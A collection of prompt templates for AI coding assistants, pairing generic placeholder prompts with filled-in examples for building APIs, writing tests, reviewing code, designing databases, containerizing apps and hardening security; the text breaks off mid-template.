Create a FastAPI endpoint that creates a new user account.

Specifications:
- HTTP Method: POST
- Route: /api/v1/users
- Request body: {"email": str, "password": str, "name": str}
- Response: {"id": int, "email": str, "name": str, "created_at": datetime} | error
- Authentication: None (public endpoint)
- Authorization: None

Requirements:
- Validate email format
- Password: min 8 chars, 1 uppercase, 1 number
- Hash password with bcrypt
- Check for duplicate email
- Error handling: 400 (invalid), 409 (duplicate), 500 (server error)
- Log user creation events
- Return 201 on success

Include:
- Pydantic models for request/response
- Example requests
- Unit tests with pytest

Create a [language] CLI tool that [purpose].

Structure:
- Tool name: [name]
- Commands: [list commands]
- Options/Flags: [list with descriptions]
- Arguments: [positional args]

Requirements:
- CLI framework: [argparse/click/typer/cobra]
- Help text for all commands
- Input validation
- Error messages
- Progress indicators (if long-running)
- Config file support: [format]
- Output format: [text/JSON/YAML]

Include:
- Installation instructions
- Usage examples
- Help output example

Create a Python CLI tool that analyzes code complexity.

Structure:
- Tool name: complexity-analyzer
- Commands: analyze, report, config
- Options: --path, --threshold, --format (json/text), --recursive
- Arguments: [file or directory path]

Requirements:
- CLI framework: click
- Calculate cyclomatic complexity
- Support Python files initially
- Colored output for terminal
- Progress bar for multiple files
- Save reports to file
- Config file: .complexity.yaml

Include:
- setup.py for installation
- Usage examples
- Sample output

Create a [framework] web application for [purpose].

Architecture:
- Framework: [framework + version]
- Database: [database type]
- Authentication: [method]
- Frontend: [if applicable]

Structure:
- Project layout: [describe directory structure]
- Key components: [list main modules]
- Configuration: [config files needed]

Features:
1. [Feature 1 with details]
2. [Feature 2 with details]
3. [Feature 3 with details]

Requirements:
- Environment variables for config
- Database migrations
- Input validation
- Error handling and logging
- Security best practices
- API documentation
- Docker support

Provide:
- Complete file structure
- Key files with implementation
- README with setup instructions
- requirements.txt / package.json
- .env.example

Create a Flask REST API application for a task management system.

Architecture:
- Framework: Flask 3.0 with Flask-RESTful
- Database: PostgreSQL with SQLAlchemy
- Authentication: JWT with Flask-JWT-Extended
- Frontend: None (API only)

Structure:
app/
  __init__.py
  models/
  routes/
  services/
  utils/
config.py
tests/
requirements.txt
Dockerfile

Features:
1. User registration and authentication
2. CRUD operations for tasks (title, description, status, due_date)
3. Task assignment to users
4. Filter and search tasks

Requirements:
- Environment variables: DATABASE_URL, JWT_SECRET, etc.
- Alembic for migrations
- Marshmallow for serialization
- Error handling with proper HTTP codes
- Request logging
- CORS support
- OpenAPI documentation with Flasgger
- Docker and docker-compose

Provide:
- Complete project structure
- Models, routes, and schemas
- README with setup
- requirements.txt
- docker-compose.yml

Explain this [language] code:

[paste code here]

Please provide:
1. High-level purpose - What does this code do?
2. Line-by-line explanation - Detailed walkthrough
3. Key concepts - Important patterns or techniques used
4. Potential issues - Edge cases, bugs, or improvements
5. Use cases - When/why you'd use this

Target audience: [beginner/intermediate/advanced]

Analyze the architecture of this [type] system:

[paste code/description]

Analyze:
1. Architectural pattern - MVC, microservices, layered, etc.
2. Component relationships - How do parts interact?
3. Data flow - How does data move through the system?
4. Design patterns used - Singleton, Factory, Strategy, etc.
5. Strengths - What's done well?
6. Weaknesses - What could be improved?
7. Scalability concerns
8. Security considerations

Provide:
- Architecture diagram (in ASCII or mermaid syntax)
- Recommendations for improvements

Analyze the dependencies in this project:

Project type: [language/framework]
Dependency file: [package.json/requirements.txt/pom.xml]

[paste dependency file]

Provide:
1. Dependency tree - Main dependencies and their sub-dependencies
2. Version analysis - Outdated packages
3. Security vulnerabilities - Known CVEs
4. Redundancies - Overlapping functionality
5. Size analysis - Largest dependencies
6. Recommendations - Packages to update, remove, or add

Analyze the complexity of this code:

[paste code]

Calculate:
1. Cyclomatic complexity - Number of independent paths
2. Cognitive complexity - How hard to understand
3. Code smells - Anti-patterns present
4. Maintainability index
5. Lines of code metrics

Recommend:
- Refactoring opportunities
- Simplification strategies
- Functions to split
- Abstractions to introduce

Help me debug this [language] error:

Error message:
[paste complete error with stack trace]

Code:
[paste relevant code]

Context:
- What I'm trying to do: [description]
- Environment: [OS, version, dependencies]
- What I've tried: [list attempts]

Please provide:
1. Root cause - Why is this happening?
2. Explanation - What does the error mean?
3. Solution - Step-by-step fix
4. Prevention - How to avoid this in future
5. Related issues - Similar problems to watch for

Help me debug this Python error:

Error message:
TypeError: 'NoneType' object is not subscriptable
  File "app.py", line 45, in process_user
    return user['name']

Code:
def get_user(user_id):
    users = {1: {"name": "Alice"}, 2: {"name": "Bob"}}
    return users.get(user_id)

def process_user(user_id):
    user = get_user(user_id)
    return user['name']  # Line 45

Context:
- Trying to fetch and process user data
- Python 3.11
- Error occurs when user_id=3 (doesn't exist)
- Tried: adding print statements

Please provide complete analysis and fix.

Help me debug performance issues in this [language] code:

Code:
[paste code]

Performance issues:
- Current performance: [metrics]
- Expected performance: [metrics]
- Test conditions: [data size, environment]

Profiling data (if available):
[paste profiling output]

Please analyze:
1. Bottlenecks - Where is time being spent?
2. Algorithm complexity - Big O analysis
3. Resource usage - Memory, CPU, I/O
4. Optimization opportunities
5. Trade-offs - What are the options?

Provide:
- Optimized code
- Before/after comparison
- Performance benchmarks

Help me create a minimal reproducible example for this bug:

Bug description:
[describe the bug]

Full code:
[paste relevant code]

Expected behavior:
[what should happen]

Actual behavior:
[what actually happens]

Environment:
- [language/framework versions]
- [OS and relevant system info]

Create:
1. Minimal code example that reproduces the bug
2. Step-by-step reproduction steps
3. Expected vs actual output
4. Environment setup instructions
5. Potential workarounds

Perform root cause analysis for this issue:

Symptom:
[describe the problem]

Timeline:
- [when did it start?]
- [what changed?]

Logs:
[paste relevant logs]

System info:
- Architecture: [description]
- Components involved: [list]
- Recent changes: [deployments, config changes]

Use the "5 Whys" technique:
1. Why did [symptom] happen?
2. Why did [cause1] happen?
3. Why did [cause2] happen?
4. Why did [cause3] happen?
5. Why did [cause4] happen?

Provide:
- Root cause identification
- Immediate fix
- Long-term prevention strategy
- Monitoring recommendations

Review this [language] code for production readiness:

[paste code]

Context:
- Purpose: [what does this code do?]
- Framework: [if applicable]
- Target deployment: [production environment]

Review for:
1. Functionality - Does it work correctly?
2. Code quality - Is it clean and maintainable?
3. Performance - Any performance issues?
4. Security - Any vulnerabilities?
5. Error handling - Are errors handled properly?
6. Testing - Are there adequate tests?
7. Documentation - Is it well-documented?
8. Best practices - Does it follow conventions?
9. Edge cases - Are edge cases handled?
10. Scalability - Will it scale?

Provide:
- Rating (1-10) for each category
- Specific issues with line numbers
- Recommended fixes with code examples
- Priority (critical/high/medium/low) for each issue

Perform a security review of this [language] code:

[paste code]

Context:
- Type: [web app/API/CLI/library]
- User input sources: [list]
- Data handling: [what sensitive data is processed]
- Dependencies: [key libraries used]

Check for:
1. OWASP Top 10 vulnerabilities
   - Injection (SQL, command, etc.)
   - Broken authentication
   - Sensitive data exposure
   - XML external entities
   - Broken access control
   - Security misconfiguration
   - XSS
   - Insecure deserialization
   - Components with known vulnerabilities
   - Insufficient logging
2. Input validation
3. Output encoding
4. Authentication/authorization
5. Cryptography usage
6. Secrets management
7. Error message information disclosure

Provide:
- Vulnerability list with severity
- Proof of concept exploits
- Mitigation strategies with code
- Security best practice recommendations

Review this [language] code for performance:

[paste code]

Context:
- Expected load: [requests/second, data size, etc.]
- Current performance: [metrics]
- Performance requirements: [SLAs, targets]
- Environment: [hardware, infrastructure]

Analyze:
1. Algorithm complexity - Big O notation
2. Database queries - N+1 problems, missing indexes
3. Network calls - Unnecessary requests, parallelization
4. Memory usage - Leaks, excessive allocations
5. Caching opportunities
6. Lazy loading vs eager loading
7. Batch processing opportunities
8. Resource cleanup

Provide:
- Performance bottlenecks with metrics
- Optimized code examples
- Expected improvements
- Monitoring recommendations

Review this [language] code for best practices:

[paste code]

Language/Framework: [specific version]
Style guide: [PEP 8, Airbnb, Google, etc.]

Check for:
1. Naming conventions - Variables, functions, classes
2. Code structure - Organization, modularity
3. DRY principle - Repeated code
4. SOLID principles - Single responsibility, etc.
5. Error handling patterns
6. Logging practices
7. Comments and documentation
8. Type hints/annotations
9. Import organization
10. Code formatting

Provide:
- Issues list with examples
- Refactored code following best practices
- Style guide violations
- Linter configuration recommendations

Refactor this [old version] code to [new version]:

Current code:
[paste legacy code]

Context:
- Current version: [language/framework version]
- Target version: [new version]
- Breaking changes: [known issues]

Update:
1. Deprecated APIs - Use modern equivalents
2. New language features - Use latest syntax
3. Performance improvements - Leverage new optimizations
4. Type annotations - Add modern type hints
5. Async/await - If applicable
6. Modern patterns - Update design patterns

Requirements:
- Maintain backward compatibility: [yes/no]
- Update tests
- Document changes
- Migration guide for consumers

Provide:
- Refactored code
- Side-by-side comparison
- List of changes
- Testing strategy

Refactor this Python 2.7 code to Python 3.11:

Current code:
class UserManager:
    def get_user(self, user_id):
        users = {1: "Alice", 2: "Bob"}
        return users.get(user_id, None)

    def get_all_users(self):
        return self.users.values()

    def filter_users(self, predicate):
        return filter(predicate, self.users.values())

Update to use:
- Type hints
- f-strings
- Data classes
- Modern dictionary methods
- Type checking with mypy

Provide modernized code with explanations.

Refactor this code by extracting [functions/classes]:

[paste code with duplication or long methods]

Goals:
- Reduce duplication
- Improve readability
- Enhance testability
- Single responsibility principle

Identify:
1. Repeated code blocks - Extract to functions
2. Long methods - Split into smaller functions
3. Mixed concerns - Separate responsibilities
4. Complex logic - Extract to helper methods

Provide:
- Refactored code with extracted components
- Before/after comparison
- Unit tests for new functions
- Documentation for new components

Refactor this code to use the [pattern name] pattern:

Current code:
[paste code]

Target pattern: [Strategy/Factory/Observer/etc.]

Reasoning:
- Why this pattern: [benefits]
- Problem it solves: [current issues]

Requirements:
- Maintain existing functionality
- Improve extensibility
- Make code more testable
- Clear separation of concerns

Provide:
- UML/diagram of new design
- Refactored code
- Usage examples
- How to extend in the future

Simplify this overly complex code:

[paste complex code]

Complexity issues:
- Cyclomatic complexity: [number]
- Nested levels: [depth]
- Lines of code: [count]

Simplify by:
1. Reducing nesting - Early returns, guard clauses
2. Extracting methods - Break into smaller pieces
3. Removing duplication - DRY principle
4. Simplifying conditionals - Reduce boolean logic
5. Using standard library - Replace custom code

Goals:
- Reduce complexity by 50%
- Improve readability
- Maintain functionality
- Add tests

Provide:
- Simplified code
- Complexity metrics before/after
- Explanation of simplifications

Generate unit tests for this [language] code:

Code to test:
[paste code]

Test framework: [pytest/jest/junit/etc.]
Coverage goal: [percentage]

Requirements:
1. Test all public methods
2. Test edge cases:
   - Null/None inputs
   - Empty collections
   - Boundary values
   - Invalid inputs
3. Test error conditions
4. Use mocking for dependencies: [list dependencies]
5. Include setup/teardown
6. Descriptive test names

Provide:
- Complete test file
- Test organization (classes/describe blocks)
- Fixtures/setup data
- Mock configurations
- Expected coverage report

Generate pytest unit tests for this Python code:

Code to test:
class Calculator:
    def divide(self, a: float, b: float) -> float:
        if b == 0:
            raise ValueError("Cannot divide by zero")
        return a / b

    def sqrt(self, x: float) -> float:
        if x < 0:
            raise ValueError("Cannot calculate square root of negative number")
        return x ** 0.5

Test framework: pytest
Coverage goal: 100%

Include:
- Parametrized tests for multiple inputs
- Exception testing
- Fixtures for Calculator instance
- Edge cases: zero, negative, large numbers
- Docstrings for tests

Generate integration tests for this [system]:

System description:
[describe the system and components]

Components to test:
1. [Component 1]
2. [Component 2]
3. [Component 3]

Integration points:
- [How components interact]

Test framework: [framework]

Scenarios to test:
1. Happy path - Normal operation
2. Error handling - Component failures
3. Data flow - End-to-end data processing
4. External dependencies - API calls, database
5. Performance - Under load

Requirements:
- Test environment setup
- Mock external services: [list]
- Test data fixtures
- Cleanup after tests
- Parallel execution safe

Provide:
- Integration test suite
- Setup/teardown code
- Mock configurations
- Test data
- Docker compose for test environment

Generate E2E tests for this [application type]:

Application: [description]
Test framework: [Cypress/Playwright/Selenium]

User flows to test:
1. [Flow 1: e.g., user registration]
2. [Flow 2: e.g., login and purchase]
3. [Flow 3: e.g., error handling]

For each flow:
- Step-by-step actions
- Assertions at each step
- Screenshot on failure
- Handle async operations
- Test data management

Requirements:
- Page object model
- Reusable components
- Wait strategies
- Cross-browser: [browsers to test]
- Mobile viewport testing
- Accessibility checks

Provide:
- Complete E2E test suite
- Page objects
- Helper utilities
- Test configuration
- CI/CD integration

Generate test data for [type of data]:

Schema:
[paste schema/model definition]

Requirements:
1. Volume: [number of records]
2. Realistic data - Valid formats, distributions
3. Edge cases - Boundary values, special characters
4. Relationships - Foreign keys, associations
5. Variety - Different categories, types

Constraints:
- [Any business rules]
- [Data validation rules]
- [Uniqueness requirements]

Format: [JSON/SQL/CSV/fixtures]

Provide:
- Test data in specified format
- Data generation script
- Seed data for database
- Factory/builder functions

Generate test data for a user database:

Schema:
User:
  id: integer (primary key)
  email: string (unique, valid email)
  username: string (3-20 chars, alphanumeric)
  age: integer (18-100)
  created_at: datetime
  is_active: boolean

Requirements:
1. Volume: 100 users
2. Realistic emails and usernames
3. Age distribution: 60% between 25-45, 40% other
4. Created dates: last 2 years
5. 90% active, 10% inactive

Edge cases:
- 5 users with min username length (3 chars)
- 5 users with max username length (20 chars)
- 5 users at boundary ages (18, 100)

Format: JSON array and Python factory using Faker

Provide:
- users.json file
- factory.py with Faker
- Script to populate database

Add comprehensive comments to this code:

[paste code]

Comment style: [language-specific: docstring/JSDoc/JavaDoc]

Include:
1. Module/file header - Purpose, author, version
2. Class docstrings - Purpose, attributes, usage example
3. Method docstrings - Purpose, parameters, returns, raises, examples
4. Inline comments - Complex logic explanation
5. Type hints/annotations - If not present
6. Usage examples - In docstrings

Requirements:
- Follow [style guide]
- Clear and concise
- Explain "why" not "what"
- Include edge cases
- Document assumptions

Provide:
- Fully commented code
- Documentation examples

Generate API documentation for this [framework] API:

Code:
[paste API routes/endpoints]

Documentation format: [OpenAPI/Swagger/API Blueprint/Markdown]

For each endpoint document:
1. HTTP method and path
2. Description
3. Authentication requirements
4. Request parameters:
   - Path parameters
   - Query parameters
   - Request body (with schema)
5. Response:
   - Success responses (with schema)
   - Error responses (with codes)
6. Example requests (cURL, JavaScript, Python)
7. Example responses
8. Rate limiting
9. Versioning info

Provide:
- Complete API documentation
- Interactive examples
- Schema definitions
- Authentication guide

Generate a comprehensive README.md for this project:

Project info:
- Name: [project name]
- Purpose: [what it does]
- Language/Framework: [stack]
- Type: [library/CLI/web app/etc.]

Include sections:
1. Title and badges - Build status, coverage, version, license
2. Description - What it is, key features
3. Demo - Screenshots, GIFs, or live demo link
4. Installation - Step-by-step setup
5. Quick Start - Simple usage example
6. Usage - Detailed usage with examples
7. Configuration - Environment variables, config files
8. API Reference - If applicable
9. Examples - Multiple use cases
10. Development - How to contribute
11. Testing - How to run tests
12. Deployment - Production deployment guide
13. Built With - Dependencies and tools
14. Contributing - Contribution guidelines
15. License - License type
16. Authors - Credits
17. Acknowledgments

Provide:
- Complete README.md
- Well-formatted markdown
- Code examples with syntax highlighting
- Links to relevant docs

Generate architecture documentation for this system:

System: [name and purpose]
Type: [microservices/monolith/serverless/etc.]

Include:
1. Overview - High-level description
2. Architecture diagram - In Mermaid or ASCII
3. Components - Detailed component descriptions
4. Data flow - How data moves through the system
5. Technology stack - All technologies used
6. Design decisions - Why certain choices were made
7. Deployment architecture - Infrastructure
8. Security architecture - Auth, encryption, etc.
9. Scalability approach - How to scale
10. Monitoring and observability - Logs, metrics, traces

Provide:
- Complete architecture document
- Diagrams in Mermaid format
- Decision records (ADRs)
- Runbooks for operations

Generate a SQL query that [purpose]:

Database: [PostgreSQL/MySQL/SQLite/etc.]
Schema:
[paste table schemas or describe tables]

Requirements:
- [Specific conditions]
- [Join requirements]
- [Aggregations needed]
- [Sorting/ordering]
- [Limit/offset]
- Performance: [indexes, optimization]

Provide:
- SQL query
- Explanation of query logic
- Expected result format
- Performance considerations
- Alternative approaches

Generate a SQL query that finds the top 5 customers by total purchase amount in the last 30 days:

Database: PostgreSQL 14

Schema:
customers:
  id (integer, primary key)
  name (varchar)
  email (varchar)
  created_at (timestamp)

orders:
  id (integer, primary key)
  customer_id (integer, foreign key)
  total_amount (decimal)
  order_date (timestamp)
  status (varchar)

Requirements:
- Only completed orders (status = 'completed')
- Last 30 days from current date
- Group by customer
- Order by total purchase amount descending
- Include customer name and email
- Show total number of orders per customer

Provide optimized query with indexes.

Design a database schema for [application purpose]:

Requirements:
1. Entities: [list main entities]
2. Relationships: [describe relationships]
3. Constraints: [business rules]
4. Scale: [expected data volume]

Database: [relational/document/graph]

Design considerations:
- Normalization level: [1NF/2NF/3NF/denormalized]
- Indexing strategy
- Partitioning: [if needed]
- Soft delete vs hard delete
- Audit trail: [yes/no]
- Multi-tenancy: [yes/no]

Provide:
- Entity-Relationship Diagram (ERD) in text/mermaid
- CREATE TABLE statements with:
  - Primary keys
  - Foreign keys
  - Indexes
  - Constraints
- Sample data
- Common query patterns
- Migration strategy

Design a database schema for a blog platform:

Requirements:
1. Entities: Users, Posts, Comments, Tags, Categories
2. Relationships:
   - Users write Posts and Comments
   - Posts have multiple Tags and one Category
   - Comments belong to Posts and can be nested (replies)
3. Constraints:
   - Email unique per user
   - Post slugs unique
   - Soft delete for posts and comments
4. Scale: 100K users, 1M posts, 10M comments

Database: PostgreSQL

Design considerations:
- Normalize to 3NF
- Full-text search on posts
- Audit trail: yes (created_at, updated_at)
- Support for drafts and published states

Provide complete schema with indexes.

Create a database migration for [change description]:

Current state:
[describe current schema or paste CREATE statements]

Desired state:
[describe new schema]

Migration framework: [Alembic/Liquibase/Flyway/Django/etc.]

Changes:
1. [Change 1: add column, modify, etc.]
2. [Change 2]
3. [Change 3]

Requirements:
- Zero-downtime: [yes/no]
- Data transformation: [if needed]
- Rollback strategy
- Handle existing data
- Validate after migration

Provide:
- Up migration
- Down migration (rollback)
- Data migration scripts
- Verification queries
- Deployment steps

Create [ORM] models for [purpose]:

ORM: [SQLAlchemy/Sequelize/Entity Framework/etc.]
Database: [database type]

Models needed:
1. [Model 1 with fields]
2. [Model 2 with fields]
3. [Model 3 with fields]

Relationships:
- [Describe relationships]

Requirements:
- Validation rules: [describe]
- Indexes: [important queries]
- Methods: [custom model methods]
- Properties: [computed properties]
- Serialization: [to JSON/dict]
- Hooks/signals: [before save, after create, etc.]

Provide:
- Complete model definitions
- Relationship configurations
- Custom methods and properties
- Example usage
- Query examples

Create SQLAlchemy models for an e-commerce store:

ORM: SQLAlchemy 2.0 with async
Database: PostgreSQL

Models needed:
1. Product: id, name, description, price, stock_quantity, category_id
2. Category: id, name, slug, parent_id (self-referential)
3. Order: id, user_id, total_amount, status, created_at
4. OrderItem: id, order_id, product_id, quantity, price

Relationships:
- Product belongs to Category (many-to-one)
- Category can have parent Category (self-referential)
- Order has many OrderItems (one-to-many)
- OrderItem references Product and Order (many-to-one each)

Requirements:
- Validation: price > 0, stock_quantity >= 0
- Indexes: product name, category slug
- Methods: Product.is_in_stock(), Order.calculate_total()
- Properties: Category.full_path
- Serialization: to_dict() method
- Hooks: Update order total_amount when items change

Provide complete async SQLAlchemy 2.0 models.

Design a REST API for [purpose]:

Resources:
1. [Resource 1]
2. [Resource 2]
3. [Resource 3]

For each resource specify:
- Endpoints (GET, POST, PUT, PATCH, DELETE)
- URL structure
- Request/response schemas
- Status codes
- Authentication/authorization

Design principles:
- RESTful conventions
- Resource naming (plural nouns)
- Nested resources: [strategy]
- Versioning: [URL/header/none]
- HATEOAS: [yes/no]
- Pagination: [offset/cursor]
- Filtering, sorting, searching
- Rate limiting

Provide:
- Complete API specification
- OpenAPI/Swagger definition
- Example requests/responses
- Error response format
- Authentication flow

Design a REST API for a library management system:

Resources:
1. Books
2. Authors
3. Members
4. Loans (book borrowing)

Design:
- RESTful endpoints for CRUD
- Nested: /authors/:id/books
- Versioning: URL (/api/v1/)
- Pagination: cursor-based
- Authentication: JWT
- Authorization: Role-based (admin, librarian, member)

Special endpoints:
- POST /books/:id/borrow (create loan)
- POST /loans/:id/return
- GET /books/available
- GET /members/:id/loans

Provide:
- Full OpenAPI 3.0 specification
- All endpoints with details
- Authentication flows
- Example cURL requests

Design a GraphQL schema for [purpose]:

Types:
1. [Type 1 with fields]
2. [Type 2 with fields]
3. [Type 3 with fields]

Queries:
- [List main queries]

Mutations:
- [List main mutations]

Subscriptions:
- [If real-time updates needed]

Design considerations:
- Nullable vs non-nullable fields
- Pagination: relay/offset
- Input types for mutations
- Error handling strategy
- N+1 query prevention (DataLoader)
- Authorization: [field-level/query-level]
- File uploads: [if needed]

Provide:
- Complete GraphQL schema
- Resolver structure
- Example queries and mutations
- DataLoader implementations

Design a gRPC service for [purpose]:

Service: [service name]

RPCs (methods):
1. [Method 1]: [unary/server streaming/client streaming/bidirectional]
2. [Method 2]
3. [Method 3]

Messages (data structures):
- [List message types]

Requirements:
- Protocol buffers syntax: proto3
- Error handling: status codes
- Metadata: [authentication, tracing]
- Deadlines/timeouts
- Interceptors: [logging, auth]

Provide:
- Complete .proto file
- Service implementation skeleton
- Client usage example
- Error handling patterns
- Testing approach

Create an API client library for [API name]:

Language: [target language]
API type: [REST/GraphQL/gRPC]

Features:
1. Authentication handling - [method]
2. Request/response models - Typed
3. Error handling - Custom exceptions
4. Retry logic - Exponential backoff
5. Rate limiting - Client-side throttling
6. Pagination - Automatic handling
7. Timeout configuration
8. Logging/debugging
9. Async support - [if applicable]
10. Testing utilities - Mocking

Structure:
- Main client class
- Resource classes (users, posts, etc.)
- Model classes
- Exception classes
- Utilities

Provide:
- Complete client library code
- README with examples
- Type definitions
- Unit tests
- Publishing setup (PyPI, npm, etc.)

Create a Dockerfile for [application type]:

Application:
- Language/Runtime: [language and version]
- Framework: [if applicable]
- Dependencies: [key dependencies]

Requirements:
- Base image: [specify or ask for recommendation]
- Multi-stage build: [yes/no]
- Security: non-root user, minimal attack surface
- Size optimization: minimize layers and size
- Environment variables: [list]
- Health check: [command]
- Build-time arguments: [if needed]

Production considerations:
- Cache dependencies separately
- Use .dockerignore
- Security scanning
- Layer optimization

Provide:
- Complete Dockerfile
- .dockerignore file
- docker-compose.yml (if needed)
- Build and run commands
- Multi-stage explanation

Create a Dockerfile for a FastAPI Python application:

Application:
- Language: Python 3.11
- Framework: FastAPI with uvicorn
- Dependencies: requirements.txt with 15 packages

Requirements:
- Base image: python:3.11-slim
- Multi-stage build: yes (build deps separately)
- Security: run as non-root user
- Health check: HTTP GET /health
- Size optimization: remove build dependencies
- Environment variables: DATABASE_URL, SECRET_KEY, LOG_LEVEL

Provide:
- Production-ready Dockerfile
- Development docker-compose.yml
- .dockerignore
- Build commands for both dev and prod

Create a CI/CD pipeline for [application]:

Platform: [GitHub Actions/GitLab CI/Jenkins/CircleCI]
Application: [description]

Pipeline stages:
1. Build - Compile/install dependencies
2. Test - Run unit, integration tests
3. Lint - Code quality checks
4. Security - Vulnerability scanning
5. Build artifact - Docker image/binary
6. Deploy - [environments]

Requirements:
- Triggers: [on push, PR, tag]
- Branches: [main, develop, feature/*]
- Environment variables: [secrets management]
- Caching: dependencies, build cache
- Parallel jobs: [where applicable]
- Matrix builds: [different versions/platforms]
- Deployment strategy: [blue-green/rolling/canary]

Provide:
- Complete pipeline configuration
- Environment setup
- Secrets management approach
- Deployment scripts
- Rollback procedure

Create a GitHub Actions pipeline for a Node.js web app:

Application: Express.js + React frontend

Pipeline stages:
1. Install dependencies (npm ci)
2. Lint (ESLint)
3. Test (Jest with coverage)
4. Build (webpack production build)
5. Build Docker image
6. Push to registry (Docker Hub)
7. Deploy to Kubernetes

Requirements:
- Triggers: push to main, PRs
- Matrix: Node 18, 20
- Cache: node_modules
- Coverage reporting: Codecov
- Security: npm audit, Snyk
- Deploy to: staging (on main), production (on tag)

Provide complete .github/workflows/ci.yml

Create infrastructure as code for [infrastructure description]:

Tool: [Terraform/CloudFormation/Pulumi/Ansible]
Provider: [AWS/Azure/GCP/etc.]

Resources needed:
1. [Resource 1: e.g., EC2 instances]
2. [Resource 2: e.g., RDS database]
3. [Resource 3: e.g., Load balancer]

Architecture:
- [Describe architecture]

Requirements:
- Environment: [dev/staging/prod]
- High availability: [yes/no]
- Auto-scaling: [if needed]
- Networking: VPC, subnets, security groups
- Secrets management: [solution]
- State management: [backend]
- Modules: reusable components

Provide:
- Complete IaC configuration
- Variables file
- Outputs
- README with usage
- Cost estimation

Create Kubernetes manifests for [application]:

Application: [description]
Components:
1. [Component 1]
2. [Component 2]
3. [Component 3]

Manifests needed:
- Deployment (replicas, strategy, resources)
- Service (type, ports)
- ConfigMap (configuration)
- Secret (sensitive data)
- Ingress (routing)
- HorizontalPodAutoscaler (if applicable)
- PersistentVolumeClaim (if stateful)

Requirements:
- Namespace: [name]
- Resource limits: [CPU, memory]
- Health checks: liveness, readiness
- Rolling update strategy
- Environment: [dev/prod]
- Labels and annotations
- Security context

Provide:
- All manifest YAML files
- kustomization.yaml (for customization)
- Helm chart (alternative)
- Deployment instructions

Migrate this code from [source language] to [target language]:

Source code:
[paste code]

Context:
- Purpose: [what the code does]
- Dependencies: [libraries used]
- Constraints: [any specific requirements]

Migration requirements:
1. Maintain functionality - Exact same behavior
2. Use idiomatic [target language] - Not a direct translation
3. Leverage [target language] features - Best practices
4. Update patterns - Modern approaches
5. Dependencies - Equivalent libraries
6. Type safety - Add type hints/annotations
7. Error handling - [target language] conventions
8. Testing - Equivalent tests

Provide:
- Migrated code
- Dependency mapping (old → new)
- Key differences explained
- Testing strategy
- Migration checklist

Migrate this JavaScript/Node.js code to Python:

Source code:
const express = require('express');
const app = express();

app.get('/users/:id', async (req, res) => {
  try {
    const user = await db.getUser(req.params.id);
    if (!user) {
      return res.status(404).json({ error: 'User not found' });
    }
    res.json(user);
  } catch (error) {
    res.status(500).json({ error: error.message });
  }
});

app.listen(3000, () => console.log('Server started'));

Context:
- REST API endpoint
- Express.js framework
- Async database calls

Target: FastAPI with async/await
Use: Pydantic models, proper HTTP exceptions, type hints

Provide complete FastAPI equivalent.

Upgrade this code from [framework version A] to [framework version B]:

Current code:
[paste code]

Current version: [version]
Target version: [version]

Breaking changes in target version:
[list known breaking changes or ask AI to identify]

Upgrade requirements:
1. Update deprecated APIs
2. Fix breaking changes
3. Leverage new features
4. Update configuration
5. Update dependencies
6. Maintain backward compatibility: [yes/no]
7. Update tests

Provide:
- Upgraded code
- Change summary
- Deprecation warnings addressed
- New features utilized
- Testing strategy
- Deployment considerations

Migrate from [source database] to [target database]:

Current schema:
[paste schema or describe]

Source DB: [database type and version]
Target DB: [database type and version]

Data volume: [number of records]

Migration requirements:
1. Schema conversion - Handle type differences
2. Data migration - ETL process
3. Query conversion - Update application queries
4. Index migration - Performance maintained
5. Constraint migration - Foreign keys, checks
6. Zero downtime: [yes/no]
7. Rollback strategy

Differences to handle:
- [List known differences between databases]

Provide:
- Target schema
- Migration scripts
- Data transformation logic
- Query conversion examples
- Testing approach
- Cutover plan

Create a migration guide from API v[old] to v[new]:

Old API:
[describe or paste specification]

New API:
[describe changes]

Breaking changes:
1. [Change 1]
2. [Change 2]
3. [Change 3]

Provide:
1. Detailed migration guide
2. Side-by-side comparison
3. Code examples (before/after)
4. Client library updates
5. Deprecated endpoint mapping
6. New endpoint documentation
7. Backwards compatibility options
8. Timeline for deprecation
9. Testing checklist

Implement secure [authentication method] for [application type]:

Method: [JWT/OAuth2/SAML/session-based]
Framework: [framework]

Requirements:
1. User registration - Email/password with validation
2. Login - Secure credential verification
3. Token/session management - Generation, storage, refresh
4. Logout - Proper cleanup
5. Password security - Hashing (bcrypt/argon2), salt
6. Password reset - Secure flow
7. Multi-factor authentication - [if needed]
8. Account lockout - Brute force protection
9. Rate limiting - Login attempts

Security considerations:
- HTTPS only
- Secure cookies (httpOnly, secure, sameSite)
- CSRF protection
- Token expiration
- Refresh token rotation
- Audit logging

Provide:
- Complete authentication system
- Security best practices
- Configuration
- Testing approach

Implement input validation and sanitization for [application]:

Language/Framework: [stack]

Input sources:
1. [Form data/API requests/File uploads]
2. [User input fields]

Validation needs:
- Data types - Enforce expected types
- Format validation - Email, URL, phone, etc.
- Length limits - Min/max characters
- Pattern matching - Regex validation
- Whitelist - Allowed values
- Blacklist - Forbidden patterns
- File upload - Type, size, content validation
- SQL injection prevention
- XSS prevention
- Command injection prevention

Provide:
- Validation functions/classes
- Sanitization utilities
- Error messages
- Usage examples
- Test cases for attacks

Perform a security audit of this application:

Application type: [web/API/mobile]
Tech stack: [languages, frameworks]
Code: [paste relevant code or describe]

Audit checklist:
1. Authentication & Authorization
   - Secure password storage
   - Session management
   - Access control
   - Privilege escalation
2. Input Validation
   - SQL injection
   - XSS
   - Command injection
   - Path traversal
3. Data Protection
   - Encryption at rest
   - Encryption in transit
   - Sensitive data exposure
   - API key management
4. Configuration
   - Security headers
   - CORS settings
   - Error handling (no info leakage)
   - Debug mode disabled
5. Dependencies
   - Known vulnerabilities
   - Outdated packages
6. Logging & Monitoring
   - Security events logged
   - No sensitive data in logs

Provide:
- Vulnerability report with severity
- Proof of concept
- Remediation code
- Security checklist

Implement secure secrets management for [application]:

Application: [description]
Deployment: [local/cloud/container]

Secrets to manage:
1. [Database credentials]
2. [API keys]
3. [Encryption keys]
4. [OAuth secrets]

Solution: [HashiCorp Vault/AWS Secrets Manager/env variables]

Requirements:
1. Never commit secrets to git
2. Environment-specific secrets
3. Rotation strategy - [frequency]
4. Access control - Who can access what
5. Audit logging - Track secret access
6. Encryption - At rest and in transit
7. Fallback mechanism - [if service unavailable]

Provide:
- Secrets management implementation
- Configuration loading code
- .env.example file
- Documentation
- CI/CD integration
- Rotation script

Optimize this [language] code for performance:

Current code:
[paste code]

Performance issue:
- Current: [metrics - time, memory]
- Target: [desired metrics]
- Bottleneck: [if identified]

Profiling data:
[paste profiling output if available]

Optimization strategies to apply:
1. Algorithm optimization - Better time complexity
2. Data structure selection - More efficient structures
3. Caching - Memoization, result caching
4. Lazy evaluation - Compute only when needed
